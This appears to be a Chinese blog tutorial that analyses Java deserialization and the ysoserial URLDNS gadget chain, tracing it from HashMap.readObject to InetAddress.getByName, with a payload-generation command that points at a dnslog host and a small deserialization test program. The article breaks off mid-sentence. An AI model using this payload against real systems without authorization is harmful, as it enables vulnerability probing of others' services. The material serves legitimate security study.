1. 程式人生 > >Java安全之URLDNS鏈

Java安全之URLDNS鏈

# Java安全之URLDNS鏈 ## 0x00 前言 在學習Java的反序列化漏洞的時候,就不得不學習他的一個利用鏈。很多剛剛入門的對於利用鏈這個詞可能比較陌生。那麼這裡先來了解一下Java反序列化和反序列化漏洞的一個產生。 文章首發:[Java安全之URLDNS鏈](https://www.t00ls.net/thread-58172-1-1.html) ## 0x01 Java反序列化 Java提供了一種物件序列化的機制,用一個位元組序列表示一個物件,該位元組包含物件的資料、物件的型別、物件的儲存屬性。位元組序列寫出到檔案後,相當於可以持久報錯了一個物件資訊,這過程叫做序列化。序列化物件會通過`ObjectOutputStream `的`writeObject`方法將一個物件寫入到檔案中。 而反序列化是使用了`readObject` 方法進行讀取並還原成在序列化前的一個類。 這一步驟並沒有什麼安全問題,但是如果反序列化的資料是可控的情況下,那麼我們就可以從某個輸入點,輸入惡意程式碼,再去查詢在哪個點,我們的輸入會被一層一層的帶去到我們的觸發點去,而這一步叫做尋找利用鏈的步驟。 ## 0x02 動態除錯ysoserial 至於ysoserial就不多敘述了,自行百度。 ysoserial專案地址:[ysoserial](https://github.com/frohoff/ysoserial) 拉取專案原始碼,匯入到IDEA中。 ![](https://img2020.cnblogs.com/blog/1993669/202009/1993669-20200926224228643-351391102.png) 看到pom.xml知道該專案是個maven的專案,點選pom.xml 進行重新整理,將缺少的依賴給下載下來 ![](https://img2020.cnblogs.com/blog/1993669/202009/1993669-20200926224237210-940348616.png) 下載完成,直到不爆紅了後,就可以開始除錯ysoserial了。 先來查詢一下該程式的入口點,點開pom.xml搜尋mainclass就可以找到入口點的類 ![](https://img2020.cnblogs.com/blog/1993669/202009/1993669-20200926224249732-1271204792.png) ctrl+左鍵點選跟蹤進去,執行測試一下。 ![](https://img2020.cnblogs.com/blog/1993669/202009/1993669-20200926224300595-2135607337.png) ![](https://img2020.cnblogs.com/blog/1993669/202009/1993669-20200926224310150-953694183.png) 執行發現爆了一些錯誤,這裡是因為我們並沒有去傳入值。 ![](https://img2020.cnblogs.com/blog/1993669/202009/1993669-20200926224320026-1892883785.png) 點選Edit configurations,設定引數 ![](https://img2020.cnblogs.com/blog/1993669/202009/1993669-20200926224337590-1705523014.png) 再次執行就可以看到成功執行了。 ![](https://img2020.cnblogs.com/blog/1993669/202009/1993669-20200926224349185-1961944419.png) 這樣我們就獲取到了一個序列化的資料。 我們的ysoserial就能在idea裡面去運行了。 ## 0x03 URLDNS鏈分析 URLDNS是ysoserial裡面就簡單的一條利用鏈,但URLDNS的利用效果是隻能觸發一次dns請求,而不能去執行命令。比較適用於漏洞驗證這一塊,而且URLDNS這條利用鏈並不依賴於第三方的類,而是JDK中內建的一些類和方法。 在一些漏洞利用沒有回顯的時候,我們也可以使用到該鏈來驗證漏洞是否存在,比如shiro反序列化就是使用dnslog來驗證漏洞是否存在,(盲猜的,並沒有去分析過,後面可以去分析一下)。 下面先來使用ysoserial的URLDNS ``` java -jar .\ysoserial.jar URLDNS "http://2mdw9p.dnslog.cn" ``` ![](https://img2020.cnblogs.com/blog/1993669/202009/1993669-20200926224402767-1551469080.png) 得到序列化後的資料,如果需要執行,我們需要對其進行反序列化,這裡先不執行。先來看看在ysoserial中,該資料是怎麼獲取的。 開啟`ysoserial/payloads/URLDNS.java`的原始碼 ![](https://img2020.cnblogs.com/blog/1993669/202009/1993669-20200926224414781-117351788.png) 上面的註釋也寫明白了他的呼叫鏈 ![](https://img2020.cnblogs.com/blog/1993669/202009/1993669-20200926224423556-1204906879.png) 具體怎麼執行的我們還得去debug看。 觸發點在hashmap的put方法,我們在put地方打一個斷點 ![](https://img2020.cnblogs.com/blog/1993669/202009/1993669-20200926224435381-1514551164.png) 來到hashmap的readobject中看到 ![](https://img2020.cnblogs.com/blog/1993669/202009/1993669-20200926224445992-1674306948.png) 這裡使用了hash方法對key的值進行了處理,我們來跟蹤一下hash這個方法看看他具體的實現 ![](https://img2020.cnblogs.com/blog/1993669/202009/1993669-20200926224455513-1158283300.png) 這裡的key的是java.net.URL的例項物件呼叫了key的hashcode。再跟進一下他的hashcode方法。 ![](https://img2020.cnblogs.com/blog/1993669/202009/1993669-20200926224504410-2058097383.png) ![](https://img2020.cnblogs.com/blog/1993669/202009/1993669-20200926224516155-1126176890.png) 在hashcode方法中還呼叫了handler的hashcode。先來跟蹤一下hanler ![](https://img2020.cnblogs.com/blog/1993669/202009/1993669-20200926224536402-1965360307.png) 呼叫 URLStreamHandler 的hashcode。進行跟蹤URLStreamHandler.hashcode。 ![](https://img2020.cnblogs.com/blog/1993669/202009/1993669-20200926224546914-1375121936.png) 跟進一下getProtocol方法 ![](https://img2020.cnblogs.com/blog/1993669/202009/1993669-20200926224554919-721653795.png) 在jdk的api文件裡面寫著該方法是用來獲取協議的名稱的 ![](https://img2020.cnblogs.com/blog/1993669/202009/1993669-20200926224603088-1930468076.png) 回到剛剛的地方 ![](https://img2020.cnblogs.com/blog/1993669/202009/1993669-20200926224612045-819662656.png) 再來跟蹤一下getHostAddress ![](https://img2020.cnblogs.com/blog/1993669/202009/1993669-20200926224632707-2080751262.png) 來到這裡後,可以發現會呼叫`getHost`、`getByName`這兩個方法。 JDKapi文件檢視 InetAddress.getByName方法 ![](https://img2020.cnblogs.com/blog/1993669/202009/1993669-20200926224640860-290030426.png) 該方法會使用遠端請求,進行獲取主機的ip,那麼這時候就會觸發一次請求,到了這裡我們的dnslog平臺,就可以收到響應了。這就是這個URLDNS鏈的一個觸發點。 ### 呼叫鏈: ``` HashMap.readObject() -> HashMap.putVal() -> HashMap.hash() -> URL.hashCode()->URLStreamHandler.hashCode().getHostAddress ->URLStreamHandler.hashCode().getHostAddress ->URLStreamHandler.hashCode().getHostAddress.InetAddress.getByName ``` 下面來測試一下 ``` import java.io.*; public class main { public static void main(String[] args) throws IOException, ClassNotFoundException { FileInputStream fis = new FileInputStream("out.bin"); ObjectInputStream bit = new ObjectInputStream(fis); bit.readObject(); } } ``` 執行後再看我們的dnslog平臺 ![](https://img2020.cnblogs.com/blog/1993669/202009/1993669-20200926224652993-362764993.png) >在URLDNS裡面其實導致反序列化的根本原因是因為hashmap重寫了readobject反序列化方法,而重寫後的readobject方法呼叫了putVal導致的一個利用鏈 ### 參考文章 ``` https://www.cnblogs.com/kuaile1314/p/13690210.html https://www.cnblogs.com/ph4nt0mer/p/11994384.html https://www.cnblogs.com/v1ntlyn/p/13549991.html https://zhuanlan.zhihu.com/p/30045174 https://www.cnblogs.com/litlife/p/12596286.html ``` ## 0x04 結尾 其實除錯URLDNS這條鏈相對來說是比較簡單的,雖然前面也花了不少時間去摸索,參考了大量的文章。但是等明白了後,發現其實URLDNS鏈還是比較簡